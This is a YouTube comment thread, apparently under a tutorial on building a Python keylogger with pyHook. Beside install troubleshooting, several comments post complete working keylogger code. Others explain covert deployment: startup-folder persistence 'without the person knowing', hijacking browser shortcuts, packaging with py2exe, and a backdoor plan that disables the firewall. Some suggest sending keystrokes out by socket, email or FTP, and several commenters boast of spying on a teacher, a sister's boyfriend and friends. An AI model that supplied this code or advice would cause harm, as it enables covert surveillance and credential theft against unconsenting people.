@@irshadtarsoo7734 not totally true. It's good to have knowledge about programming so *you can automate the process of Exploitation* , when it comes to pentesting always prefer tools written than companies and group of peoples who update them regularly and add new features. For example GDB. It's pretty dump to say if you can't write your own debugger you're a script kiddie that's how you sounds right now. Hacking from back in the days meant making a system or anything behave in a way it wasn't supposed to behave. It requires manipulating the network by going into it's deepest layers by understanding the bytes , breaking the executables, corrupting their memory and making them run your malicious script. But you should be able to write programs but it's totally fine if you don't belong from a programming background, you can use tools there's nothing to be ashamed of when the community itself wants to help and provide to those peoples. Sorry but hacking is not programming, but yeah it's good to have the knowledge for writing keyloggers and beacons for red teaming
I remember when I made my first keylogger using python.. I had a lot of fun writing it. However, now I have moved on to more native programming languages.. which can actually give a keylogger the stability and functionality it needs.
This is where we're supposed to tell you to go read the DOCS. Each of those modules that were imported have some documentation that explain what they do. But alas, I imagine you don't got time for that?
This video is amazing! Well done! The music is a great match, the tutorial is hecka easy, and great commentary! I would love to see a follow up video! (Liked and subscribed)
I have a couple of recommendations, though I needed this primarily to build an AutoCorrect database. You'll probably want words rather than individual characters to show up on each line, which means that you'll want to prevent " " from occurring with every keystroke, only after certain delimiters. Most have a set, but the most common are all major punctuation marks. It's probably use the re module for it, and just say something like re.sub("?P[...]", " " + (?P=delimiters), or something like that, if I recall correctly. Second, you'll probably want to save the format in UTF-8 rather than ASCII format, especially if you're like me and type in Chinese, as well.
Just a heads up... I didn't have Python installed on my computer and I tried doing this with the 3.5 and 3.6 versions and it was giving me a lot of trouble.. Uninstalled both and downloaded the 2.7 Python version and it worked way better without giving me trouble. So yes, GO WITH THE 2.7, 32 BIT VERSION. pywin modules - sourceforge.net/projects/pywin32/files/pywin32/Build%20219/ pyhook (2.7, 32 bit version!) - sourceforge.net/projects/pyhook/files/latest/download?source=files Hope this helps.
it is in the 3rd line..unless you went to your C drive and made a folder named important ..its not being logged...if you wanted to save it to your desktop it would look something like this C:\Users\YOUR COMPUTERS NAME\Desktop
But certain keyloggers are worth 100 pounds. You can either make a shitty keylogger or one that bypasses most, if not all security, works on every OS, organizes what gets logged in a readable manner, autosends it to you via mail or other, and makes itself practically undeletable unless you format by copying itself.
I watched this video when I was an 11-year-old kid lmao. I struggled to understand much back then but this kind of stuff was what got me interested in programming.
For some reason, This doesn't work for me. I am able to save and run the program that was made in IDLE, but its not showing the characters in the log file. Please Help
+Timmy Spaeth Is there a ios version of 'pywin32', is the 'pyHook' module download also a win32 based module? I have the IDLE downloaded and i've placed other scripts in it, and they've ran, but im assuming the win32 module wont run through my apple OS. Maybe 'pyHook since it looks like a normal python file.
A good idea for a backdoor could be a TCP server/client based application. The server gets put in the C:\Windows\Program Files\(unsuspicious filename), with some malware and some sound files. The malware should not be too harsh, not to delete any files or corrupt anything, but just to be a troll. Then, after getting the IP address and writing it down, you copy a shortcut of the server.pyw file and put it in C:\Documents and Settings\All Users\Start Menu\Programs\Start Up, making it start up every time the computer boots, no matter the user that they pick, all you have to do is disable the firewall and go back to your computer, wait for them to boot the pc back on, type in the IP to the client, and access their computer. I don't recommend using it on someone you don't know or a public computer, because, that would require a DVD with Kali Linux installed on it, an intermediate knowledge of batch/DOS.
I've tried everything and this still wont work. I think I am stuck with just installing the pyHook and pyWin32 because pyHook did not seem to even install anything. Also even if I did get pyHook to work the program closes immediately but also doesn't stay open in the task manager. Also, there is no text document getting created or even if I create one there is no text being logged. Please help, I must be stuck at a very early step.
Do I have to create a log file or does the .pyw create one for me? Because when I execute the file no .txt files show up so im not sure what im doing wrong, thank you
You may want to use the keylogger that I have created, it is the same expect its made in c# so it dosnt need the user to have python installed, and it saves file to same folder as exe meaning it can be run on a USB.
File is created automatically and is stored in the location specified in filename = "location" logging.basicConfig(filename=f1,level=logging.DEBUG,format="%(message)s") here f1 is file location (f1 = 'C:\\imp\log3.txt' < in my program)
Weird, I'm putting file_log = 'C:\\Users\\%USERNAME%\\Desktop\\Log.txt' and it isnt working....any ideas? When I double click it and type, no files pop up in my desktop, please help.
+Soham Biswas That's not how it works. Anti-Viruses don't stop some functionality of the programs but keep it running, they will either completely stop the program or ignore it. If the log file is empty, then it's probably a bug in the code.
if you want a *major* upgrade, code a socket server at home and have it running, it also needs to receive and print out what it received in the logger, make a client that sends every keystroke to the server now you have a very nice logger!
I've installed everything in order but I get this: raise ImportError("No system module '%s' (%s)" % (modname, filename)) ImportError: No system module 'pywintypes' (pywintypes34.dll)
Is it just me or does everyone else love this guy??! he doesn't have a face I'd like to punch. And he's not as pretentious as the other coding/hacking tutors out there. I'm hoping he's still active in doing vids
***** get yourself pip (bootstrap.pypa.io/get-pip.py) and run it. then you can go into your Python/Scripts directory and there you can find "pip.exe". with that and the windows cmd you can install alsmost any module by just saying "pip install NAME", e.g. "pip install pyHOOK". It also allows you to uninstall the modules clean and safe...
Hi i know im a bit late but i get this error: File ".\keylogtest.pyw", line 7 chr(event.Ascii) ^ SyntaxError: invalid syntax Does anyone know whats going on? I cant seem to find the problem.
The next thing to do with this would be to use py to exe. Which converts python programs to exe programs. This would ensure that where you place the keylogger you don't need python installed on the machine. :)
*HOW TO GET pyHOOK* some people may have the problem on not knowing how to get pyHOOK, so here is the solution: grab this file: bootstrap.pypa.io/get-pip.py and then save it somewhere and run it. It will install you PIP. then you go to your Python Directory and in the "scripts" folder you may find a "pip.exe". now you just need to open up the CMD there (startmenu-search for "cmd", then type in "cd" then a space and then the directory where python/scripts/pip.exe is). Then type in (into the cmd again) "pip install pyhook". And then you're DONE! finding that solution took me about 2 hours so please ask if you didnt get something yet.
haugummi LP C\...\>pip install pyhook Collecting pyhook Could not find a version that satisfies the requirement pyhook (from versions ) Some externally hosted files were ignored as access to them may be unreliable (use --allow-external pyhook to allow). No matching distribution found for pyhook i have python 3.5 on windows 7 64 bit, should i install some older python version aswell or what should i do ???
I tested this by sending it to my other email and downloading it on another computer is there a way of viewing keystrokes from another computer all together?
I am very late here. However, I have written out all of the code, and installed pywin32 and pyHook for version 2.7.5 with python version 2.7.5. However whenever I click the program once saved it says the following: ( screenshot ) gyazo.com/37ff56741f3a55b049d7349d6dd9b9ef
Ran into this issue recently at work. Uninstall, and then reinstall python 2.7.12 (it's good practice to stick to the most recent patch of whatever minor version you're using). Then, make sure that you include the 'pip' package manager in your PATH. If pip is failing, you can download wheels from www.lfd.uci.edu/~gohlke/pythonlibs/, and then target them with 'pip install'.
Draganko123... to take over the world XD u cant get me im checking the processes running every startup and i have malwawrebytes anti malware premium and norton (i know norton sucks) XD
Hampus Gaming (H Channel) You think that will save you? You do know that task manager can be exploited as well! :P Norton does suck :P Malwarebytes is good though!
this program doesnt take input of special characters that require (shift key + numerical) input. it just takes the numerical part in the log. How can the program be changed to include multiple key input strokes?
On your dekstop 3:27 there is a NotePad file but how did u get it? U saved it as a launch.bat and mine doesnt look like that? And when u go to the Internet Explorer and u go to the gmail and u press the notepad u can see all the info? But how? Because i want to make a keylogger on steam.
That code is outdated and too fancy. This is an easier, cleaner and updated code: import pythoncom, pyHook def OnKeyboardEvent(event): global keylog keylog = chr(event.Ascii) with open('DATA.txt', 'a') as f: f.write(keylog) f.close() return True if __name__=='__main__': hook_manager = pyHook.HookManager() hook_manager.KeyDown = OnKeyboardEvent hook_manager.HookKeyboard() pythoncom.PumpMessages()
In my opinion, this is a very bad tutorial. As I am watching your script, you just copied it from the internet, because there are 2 things, that are not needed in your script, like the "chr(event.Ascii)" line and the "return True" line, because they have no use. Also it is very hard to keep up with you, because the text is displayed so fast, that you have to stop the video regularly. Appended to this, there is no prepared file (containing the script), that you could download, when you have problems with your script. The download linkt to the extensions wouldn't be a bad idea, to put in the description, would it? The only thing that I can see, that it must have taken you a lot of time, to create all the effects, that are in the video. You should try to make it easier for the users, to understand, what you are showing in your tutorial. (don't tell, I should too) However, please don't answer on this post.
You're actually wrong pal. When you hook to an event in windows you have to return a Bool value to the windows hook manager. and the chr(event.Ascii) is the one which actually gets the key pressed, like when a key is pressed for example A then the Ascii value would be 42(I guess so) and that number is converted to the alphabet so its required. for more information read the msdn page of microsoft about hooking to windows events
How do you make it log for Mac users such as myself? I have the program working but the last step about attaching it to a file cannot be done in the same way on OS X. Please help!
to start the script with out the person knowing you can put it in the shell:startup folder simple press ctrl + r from the run window then in the box type shell:startup and put the keylogger in the folder and it will start automatically when they start the computer
Or if you want it to run when somebody opens google, right-click on Google in your desktop, go to properties. In properties search for "Target:". Change the value in target to the location of the keylogger file. Then search for "Start in:" Put the location of the folder where the keylogger is found. I hope it helps.
All works great, except when I open the 'log_file' (log.txt), all of the keyboard captures are being printed in a single column vertically....how can I change this so the keyboard captures are written to the file as the normally would be -- horizontally, line by line?? Thanks
I've done everything correct. I just dont know where my keystrokes are being logged at? Am I supposed to make a file or something to where the keystrokes are being recorded or where do I find out where they are being recorded at if there is already a file?
hey thinker where did you learn to code like this - or how / training books? - to be able to code like a black hat? been watching a few tutorials online about it not from your channel but so far only teaching me how to add intergers together... is about as dept as the other tutorials go. i need some direction can you help please
So, my parents put a limit on my account, so if the put in "15:00 - 16:00" i can play from 15:00 to 16:00, if i can get them to change that limit for Some reason and log that program onto python, would i be able to get into that program whenever i want??
Im getting this error, Im confused because I already installed this module... Traceback (most recent call last): File "C:/Users/Gel Douche/Desktop/Keylogger.py", line 1, in import win32api ImportError: DLL load failed: The specified module could not be found.
"Hack to learn, not to hack" - Great Dude
Hacking is not programming
@@vexanval It is, dumbfuck
@@vexanval you need to know programming in order to write scripts to hack , else you'll only be a script kiddid
kiddie*
@@irshadtarsoo7734 not totally true. It's good to have knowledge about programming so *you can automate the process of Exploitation* , when it comes to pentesting always prefer tools written than companies and group of peoples who update them regularly and add new features. For example GDB. It's pretty dump to say if you can't write your own debugger you're a script kiddie that's how you sounds right now. Hacking from back in the days meant making a system or anything behave in a way it wasn't supposed to behave. It requires manipulating the network by going into it's deepest layers by understanding the bytes , breaking the executables, corrupting their memory and making them run your malicious script. But you should be able to write programs but it's totally fine if you don't belong from a programming background, you can use tools there's nothing to be ashamed of when the community itself wants to help and provide to those peoples. Sorry but hacking is not programming, but yeah it's good to have the knowledge for writing keyloggers and beacons for red teaming
He forgot to say "For educational purposes only"
F
*FBI OPEN THE FUCKING DOOR!*
What if it isnt
_you have been banned_
hahahaaaa
I remember when I made my first keylogger using python.. I had a lot of fun writing it. However, now I have moved on to more native programming languages.. which can actually give a keylogger the stability and functionality it needs.
Can you teach me please?
no wix I don't need a fucking website now let me watch the video!
aspe121 got the same ad!! Hahahahahah!
aspe121 i got it too
ikr LOL
+Redownload too lazy
Say my name!
Would be great if you explain what each line of the code was doing, i think would be better for who are learning. Great video thnx
+Ankush Thakur Can you tell me where I can find the documentation?
Follow The White Rabbit So, what's the point of learning C if you make everything 50 times harder?
Make an in-depth tutorial. I want to know what each line of code does specifically.
Sulaiman Adebayo whats ur phone number or icq let me talk to u
This is where we're supposed to tell you to go read the DOCS. Each of those modules that were imported have some documentation that explain what they do. But alas, I imagine you don't got time for that?
Josh Sells Guns codecademy exists
This video is amazing! Well done! The music is a great match, the tutorial is hecka easy, and great commentary! I would love to see a follow up video!
(Liked and subscribed)
How would I send it through email to activate when someone opens an image?
simply not
ive learned more about programming in 5 minuintes than i have in my whole 3 years of self research. your awesome
+sid scott *you're
These videos are great! I can't believe I didn't know about them five years ago!
Everything is correct but my log file is still blank.
Same Help!!
Same
same
I am looking for an answer to this... It seems like it's not logging the Ascii text, rather blank spaces
Guys, i dont know how to fix this, but it seems when you run the file inside idle or pycharm, it logs correctly the characters
You should put all the links in the description.
it works, but the txt only shows ASCII symbols?! how can i convert them?
I have a couple of recommendations, though I needed this primarily to build an AutoCorrect database.
You'll probably want words rather than individual characters to show up on each line, which means that you'll want to prevent "
" from occurring with every keystroke, only after certain delimiters. Most have a set, but the most common are all major punctuation marks. It's probably use the re module for it, and just say something like re.sub("?P[...]", "
" + (?P=delimiters), or something like that, if I recall correctly.
Second, you'll probably want to save the format in UTF-8 rather than ASCII format, especially if you're like me and type in Chinese, as well.
Just a heads up... I didn't have Python installed on my computer and I tried doing this with the 3.5 and 3.6 versions and it was giving me a lot of trouble.. Uninstalled both and downloaded the 2.7 Python version and it worked way better without giving me trouble.
So yes, GO WITH THE 2.7, 32 BIT VERSION.
pywin modules - sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
pyhook (2.7, 32 bit version!) - sourceforge.net/projects/pyhook/files/latest/download?source=files
Hope this helps.
Maybe a stupid question. But i cant find the files where it is logged...
Seriously, this is pissing me the fuck off
it is in the 3rd line..unless you went to your C drive and made a folder named important ..its not being logged...if you wanted to save it to your desktop it would look something like this
C:\Users\YOUR COMPUTERS NAME\Desktop
Used a different one with devC++. Works perfectly.
Lol and all those people who paid like £100 for theirs
+OhhKillerZxD Free keyloggers exist my friend, not all are paid.
But certain keyloggers are worth 100 pounds. You can either make a shitty keylogger or one that bypasses most, if not all security, works on every OS, organizes what gets logged in a readable manner, autosends it to you via mail or other, and makes itself practically undeletable unless you format by copying itself.
Most of them don't bypass at all. Antivirus flag them right away soon or later.
Ismael Arlen Reyes I never said most of them bypass, but the quality ones. Learn to read.
Not even the quality ones. Paid Antivirus will likely detect them.
how can i install the modules????
use pip. open cmd as admin. run pip install
When i type pip it does not reconigze as a command. What should I do?
install pip first
@@JeaneAdix NPC meme is dead
One of the best tutorial it helped see more things than what i could see right now . This had given a perspective of programming
I watched this video when I was an 11-year-old kid lmao. I struggled to understand much back then but this kind of stuff was what got me interested in programming.
For some reason, This doesn't work for me. I am able to save and run the program that was made in IDLE, but its not showing the characters in the log file. Please Help
same here bro! Plz help anyone as it shows random characters in log file!
same thing happened to me i tried it on a game and i switched the profile and the only thing i understood was the word profile
module: pyhook: sourceforge.net/projects/pyhook/files/latest/download?source=files
import pyHook, pythoncom, sys, logging
file_log = 'C:/keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
print("True")
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
+Timmy Spaeth Is there a ios version of 'pywin32', is the 'pyHook' module download also a win32 based module? I have the IDLE downloaded and i've placed other scripts in it, and they've ran, but im assuming the win32 module wont run through my apple OS. Maybe 'pyHook since it looks like a normal python file.
+Jacob Westerfield
pywin32 is a Windows OS interaction module. iOS is an Apple OS, not Windows OS.
Sorry, but no.
+Jacob Westerfield 32 sucks bro...
+tmanswagg could try through pip
cd ..
cd ..
cd Python27/Scripts
python pip install pyHook
youll need to put "C://" not "C:/" otherwise python wont recognize what your trying to do
very cool! any tutorial on how to escape from federal agents?
I'd watch out if I were you, lay a low profile for about 25 years so the NSA will forget about you
@@itamar_da_god5651 it's too late man, the feds got me, I'm in prison for life rn.
dang nabbit, those scoundrels! i'll show them who's boss! muhahaha - wait who's knocking on my doo - oh shit
A good idea for a backdoor could be a TCP server/client based application. The server gets put in the C:\Windows\Program Files\(unsuspicious filename), with some malware and some sound files. The malware should not be too harsh, not to delete any files or corrupt anything, but just to be a troll. Then, after getting the IP address and writing it down, you copy a shortcut of the server.pyw file and put it in C:\Documents and Settings\All Users\Start Menu\Programs\Start Up, making it start up every time the computer boots, no matter the user that they pick, all you have to do is disable the firewall and go back to your computer, wait for them to boot the pc back on, type in the IP to the client, and access their computer. I don't recommend using it on someone you don't know or a public computer, because, that would require a DVD with Kali Linux installed on it, an intermediate knowledge of batch/DOS.
Kali has an icognito setting that makes it look like windows, or use a virtual box
I've tried everything and this still wont work. I think I am stuck with just installing the pyHook and pyWin32 because pyHook did not seem to even install anything. Also even if I did get pyHook to work the program closes immediately but also doesn't stay open in the task manager. Also, there is no text document getting created or even if I create one there is no text being logged. Please help, I must be stuck at a very early step.
Do I have to create a log file or does the .pyw create one for me? Because when I execute the file no .txt files show up so im not sure what im doing wrong, thank you
It creates one for you upon receiving the first keystrokes.
You may want to use the keylogger that I have created, it is the same expect its made in c# so it dosnt need the user to have python installed, and it saves file to same folder as exe meaning it can be run on a USB.
Interesting, mind adding me on skype to send me the script?
File is created automatically and is stored in the location specified in filename = "location"
logging.basicConfig(filename=f1,level=logging.DEBUG,format="%(message)s")
here f1 is file location (f1 = 'C:\\imp\log3.txt' < in my program)
Weird, I'm putting
file_log = 'C:\\Users\\%USERNAME%\\Desktop\\Log.txt'
and it isnt working....any ideas? When I double click it and type, no files pop up in my desktop, please help.
Lol put this on my teachers computer 😂
haha already got something?
So, what's your teacher's favorite porn website?
watch those c's turn into 0's when they find out
Do any of you know what code makes the bat file run the script instead of open it?
L Da No you're not, you're full of shit. Shut up, grow up, piss off.
im executing the file and not getting a log file
D.G.K.R Records disable ur anti virus
+Soham Biswas That's not how it works. Anti-Viruses don't stop some functionality of the programs but keep it running, they will either completely stop the program or ignore it. If the log file is empty, then it's probably a bug in the code.
if you want a *major* upgrade, code a socket server at home and have it running, it also needs to receive and print out what it received
in the logger, make a client that sends every keystroke to the server
now you have a very nice logger!
This only records lowercase characters. Is there a way to make it detect the shift button and record uppercase and special characters?
I've installed everything in order but I get this:
raise ImportError("No system module '%s' (%s)" % (modname, filename))
ImportError: No system module 'pywintypes' (pywintypes34.dll)
im a bit late but ik how to fix it, you need to delete your system 32 and it will be fine.
dude its a joke, u don't even need expirenece from computing, its just common sense so stop acting like ur a pro dev.
I literally deleted every trace of python from my computer and started from scratch again and it still doesn't fix that error for me.
You have to (or at least I had to) install pywintypes.
Open cmd.exe and type:
pip install pypiwin32
just copy the path of pywintypes that is in python->Lib->site-packages->win32->lib and paste it in your system variables
Put links in description man
can i send it to somone? if yes how?
some times i miss your older videos you seem a lot calmer
Is it just me or does everyone else love this guy??! he doesn't have a face I'd like to punch. And he's not as pretentious as the other coding/hacking tutors out there. I'm hoping he's still active in doing vids
I got pyhook and pywin32 but they aren't installation files what do I do?
***** stackoverflow.com/questions/21222114/how-do-i-install-python-libraries?answertab=votes#tab-top
Thanks :)
***** get yourself pip (bootstrap.pypa.io/get-pip.py) and run it. then you can go into your Python/Scripts directory and there you can find "pip.exe". with that and the windows cmd you can install alsmost any module by just saying "pip install NAME", e.g. "pip install pyHOOK". It also allows you to uninstall the modules clean and safe...
thanks!
Do I need the modules installed on the target computer (the computer that I want to inject the code)
^^^ yeah... how is that supposed to work?
yes
Where do I have to save the Modules in order to make the programm working? I saved them in my Downloads folder and it didn't work.
i would imagine that you would need python and the modules which you should be able o just install per usual
look at py2exe
Hi i know im a bit late but i get this error: File ".\keylogtest.pyw", line 7
chr(event.Ascii)
^
SyntaxError: invalid syntax
Does anyone know whats going on? I cant seem to find the problem.
yeah looks like you have a syntax mistake in line 7 haha, are you sure you copied everything correctly?
i think so i checked three times
You may not have closed the parenthesis in the previous line.
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)')
thanks i'll look into that when I'm back at pc
The next thing to do with this would be to use py to exe. Which converts python programs to exe programs. This would ensure that where you place the keylogger you don't need python installed on the machine. :)
Where to save?
Any specific place??
I have a problem with log.txt
If i make it, doesn't work
If i don't make it, doesn't make automatic
Same!
the only way i was able to do it is by going to my python Idle and clicking open then selecting the file and then clicking run and then "run module"
*HOW TO GET pyHOOK*
some people may have the problem on not knowing how to get pyHOOK,
so here is the solution:
grab this file: bootstrap.pypa.io/get-pip.py and then save it somewhere and run it. It will install you PIP. then you go to your Python Directory and in the "scripts" folder you may find a "pip.exe". now you just need to open up the CMD there (startmenu-search for "cmd", then type in "cd" then a space and then the directory where python/scripts/pip.exe is).
Then type in (into the cmd again) "pip install pyhook". And then you're DONE! finding that solution took me about 2 hours so please ask if you didnt get something yet.
haugummi LP C\...\>pip install pyhook
Collecting pyhook
Could not find a version that satisfies the requirement pyhook (from versions
)
Some externally hosted files were ignored as access to them may be unreliable
(use --allow-external pyhook to allow).
No matching distribution found for pyhook
i have python 3.5 on windows 7 64 bit, should i install some older python version aswell or what should i do ???
Whitehead
i got 3.3 and it works for me...
i dunno what to do though :D
How I can install pywin32
This video is very hard to understand
It doesn't work
Did I just download the virus
I mean that can be your key logger
I deleted faster
+Haugummi I could get pyHook, but not pyWin, any idea on how to install it please ?
thanks found out my sisters boyfriend was cheating on her and got onto his facebook
Gg dude
+KOUNTER gg wp
+KOUNTER GG
ez
What was that before (message)
I tested this by sending it to my other email and downloading it on another computer is there a way of viewing keystrokes from another computer all together?
bro, you did it...you earned a subscriber...
How do you test it
+That Waff1e import pyHook, pythoncom, sys, logging
file_log = 'C:/log.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
I am very late here.
However, I have written out all of the code, and installed pywin32 and pyHook for version 2.7.5 with python version 2.7.5.
However whenever I click the program once saved it says the following: ( screenshot )
gyazo.com/37ff56741f3a55b049d7349d6dd9b9ef
Pls help
TrueChaos whats the link to module download
Ran into this issue recently at work. Uninstall, and then reinstall python 2.7.12 (it's good practice to stick to the most recent patch of whatever minor version you're using). Then, make sure that you include the 'pip' package manager in your PATH. If pip is failing, you can download wheels from www.lfd.uci.edu/~gohlke/pythonlibs/, and then target them with 'pip install'.
Fixed already but thanks
How did you fix it? I have run into the same issue.
Is there any way I can make it a link so I can send it to my friend so when he types stuff in it emails it to me or send it to me?
Sure.
Check out GitHub for such keyloggers
that's just awesome! so helpful for me that i'm just in the begining of learnining! thank you so much,people like u we need in youtube
Wix is the Tai Lopez of programming tutorials.
thank you for explaining everything so well
I understood everything that was done haha
haha
ha
dude plz explain stuff more clearly
Where is the data outputted?
+Sergeant Vin Anywhere you want it to, the line that says
file_log = "C:\\AnywhereYouWantItTo\\YourData.txt"
It's logged in the txt file
Name checks out.
it won't be outputted for me
Nice! I'll add my EVIILL PLANS TO THIS! MUAHAHAHAHHAHAHAHAHAHAHHA!
Draganko123... to take over the world XD u cant get me im checking the processes running every startup and i have malwawrebytes anti malware premium and norton (i know norton sucks) XD
Hampus Gaming (H Channel) You think that will save you? You do know that task manager can be exploited as well! :P Norton does suck :P Malwarebytes is good though!
Draganko123 ima wait until norton expires and use windows 8 defender it has been so much improved sience last windows defender
Do you need to shut up? No? You should. smh.
this program doesnt take input of special characters that require (shift key + numerical) input. it just takes the numerical part in the log. How can the program be changed to include multiple key input strokes?
On your dekstop 3:27 there is a NotePad file but how did u get it? U saved it as a launch.bat and mine doesnt look like that? And when u go to the Internet Explorer and u go to the gmail and u press the notepad u can see all the info? But how? Because i want to make a keylogger on steam.
Just managed to make it send me a email with the keylogs when the pc shuts down. Python is awesome. I can now find out any of my friends passwords.
lol no u didnt
Why is this music on every single one of your videos? I feel like someone is taking a shit on my soul when I hear it.
Not an NPC Song bad :^|
unable to find log.txt file
yes
what if you want the keystrokes sent to a google doc or a ftp. How would you do it
Question: When you are trying to change the internet explorer shortcut to run the batch file, what is the code that you use? I cannot see it.
My zemana anti logger program works lol it puts random shit in the file :)
Help, someone.
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\User\\Documents\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
The error is: Invalid character in identifier. Idk what i've done wrong!
Error2147483647 try to import like this
import pyHook
import pythoncom
... Same as all
That code is outdated and too fancy. This is an easier, cleaner and updated code:
import pythoncom, pyHook
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open('DATA.txt', 'a') as f:
f.write(keylog)
f.close()
return True
if __name__=='__main__':
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()
I'm working on that. But I'm pretty sure that you will need the smtp module, already included in Python.
Does your target machine has Python and the Pyhook/Win32 modules installed?
where you need to put your text file path in that code??
It's not needed because the file with the keystrokes log will be created in the same path where you have the script.
then add them, email modules to make it fun Lulz :)
Great ! What's name musik background?
What are the modules needed to interact with OSx 10.11.06?
In my opinion, this is a very bad tutorial.
As I am watching your script, you just copied it from the internet, because there are 2 things, that are not needed in your script, like the "chr(event.Ascii)" line and the "return True" line, because they have no use.
Also it is very hard to keep up with you, because the text is displayed so fast, that you have to stop the video regularly.
Appended to this, there is no prepared file (containing the script), that you could download, when you have problems with your script.
The download linkt to the extensions wouldn't be a bad idea, to put in the description, would it?
The only thing that I can see, that it must have taken you a lot of time, to create all the effects, that are in the video.
You should try to make it easier for the users, to understand, what you are showing in your tutorial.
(don't tell, I should too)
However, please don't answer on this post.
Simon WoodburyForget
MORE!
xD
I mean, really, there are lots of better ways to do this...
But however, the graphics of this video are quite good!
Zuzu Typ I agree with you
*****
of cause it is
Can you help make me one please ? I want to mess with my friend
You're actually wrong pal. When you hook to an event in windows you have to return a Bool value to the windows hook manager. and the chr(event.Ascii) is the one which actually gets the key pressed, like when a key is pressed for example A then the Ascii value would be 42(I guess so) and that number is converted to the alphabet so its required. for more information read the msdn page of microsoft about hooking to windows events
I just learned how to hack in 5 minutes
no you didn't
u learned a* hack , not how to hack .... big difference buddy
no this isnt hacking you use a code written by someone else to hack peeps
learn to program
hey guys I was joking lmao. I know hes not teaching people to hack. guess I need to work on my sarcasm?
Kinda xD
How do you make it log for Mac users such as myself? I have the program working but the last step about attaching it to a file cannot be done in the same way on OS X. Please help!
buy windows
to start the script with out the person knowing you can put it in the shell:startup folder simple press ctrl + r
from the run window then in the box type shell:startup and put the keylogger in the folder and it will start automatically when they start the computer
Or if you want it to run when somebody opens google, right-click on Google in your desktop, go to properties.
In properties search for "Target:". Change the value in target to the location of the keylogger file.
Then search for "Start in:"
Put the location of the folder where the keylogger is found. I hope it helps.
What module would you use if you were using Linux instead Windows?
What should I start with C++ or Python?
hope you're still making videos your videos make a lot of sense to me thank you!
I'm running python on Mac, after I coded the key logger, how do I run it? Where do I access the information it is gathering? Thank you
So would this work with cut and paste? If now how would we add this function?
What version of python has all these modules ? pip does not work with 3.4
All works great, except when I open the 'log_file' (log.txt), all of the keyboard captures are being printed in a single column vertically....how can I change this so the keyboard captures are written to the file as the normally would be -- horizontally, line by line?? Thanks
how do you install pyhook module in Linux? not windows platform.. help?
If you have debion then try sudo pip install pyhook or if you are not root try pip install pyhook
but since you programmed it from python, you need to have python on whatever machine you're trying to run it on correct?
Would it be possible to make the words horizontal?
Is there anyway to change it from giving the output in notepad 1 line at a time?
Does this program needs python environment setup on the target computer ?
I've done everything correct. I just dont know where my keystrokes are being logged at? Am I supposed to make a file or something to where the keystrokes are being recorded or where do I find out where they are being recorded at if there is already a file?
What is the version of Python used in this video?
Would the other computer need python on it as well?????
My text file is not picking up the correct keys. it looks like "[]" and other Ascii symobls.. Is it my keyboard encrypting the keys?
hey thinker where did you learn to code like this - or how / training books? - to be able to code like a black hat? been watching a few tutorials online about it not from your channel but so far only teaching me how to add intergers together... is about as dept as the other tutorials go. i need some direction can you help please
Does anyone know how to save the data in cloud?
If you want to upload the logs to the cloud you can use ftp with a public server or with your own if you know how to open ports.
does this work for mac aswell without the windows module obviously?
So, my parents put a limit on my account, so if the put in "15:00 - 16:00" i can play from 15:00 to 16:00, if i can get them to change that limit for Some reason and log that program onto python, would i be able to get into that program whenever i want??
Im getting this error, Im confused because I already installed this module...
Traceback (most recent call last):
File "C:/Users/Gel Douche/Desktop/Keylogger.py", line 1, in
import win32api
ImportError: DLL load failed: The specified module could not be found.
What is the symbol on line 6 before "(message)"?
Would it be possible to make it work for iOS devices?
Can I get the keylogger to start once I insert a flash drive?
Will it run in the background
Should I learn python or c++?
Will the target system run the keylogger if python is not installed ?
Have I to Download these Modules? Cause my IDLE says that there are no Modules called like them
Special characters are not getting logged.. any idea why ?
Is tzhere any way to log the keys not vertically?
how do i stop it because i cant see the changes to log.txt when the keylogger is running
go to task manager